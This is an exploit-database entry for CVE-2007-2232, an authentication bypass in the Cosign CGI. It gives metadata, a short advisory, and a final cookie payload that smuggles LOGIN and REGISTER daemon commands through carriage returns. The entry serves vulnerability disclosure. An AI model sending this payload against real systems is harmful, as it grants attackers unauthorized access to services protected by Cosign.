Cosign 2.0.1/2.9.4a - CGI Check Cookie Command Remote Authentication Bypass

Author: Jon Oberheide
type: webapps
platform: cgi
port: 0
date_added: 2007-04-11
date_updated: 2013-11-27
verified: 1
codes: CVE-2007-2232;OSVDB-34833
tags: 
aliases: 
screenshot_url: 
application_url: 

source: https://www.securityfocus.com/bid/23422/info

The 'cosign' application is prone to an authentication-bypass vulnerability because it fails to adequately sanitize user-supplied input.

An attacker can exploit this issue to gain unauthorized access to services hosted on an affected computer.

Versions prior to 1.9.4b and 2.0.2a are vulnerable.

cosign=X\rLOGIN cosign=X 1.2.3.4 username\rREGISTER cosign=X 1.2.3.4 cosign-servicename=Y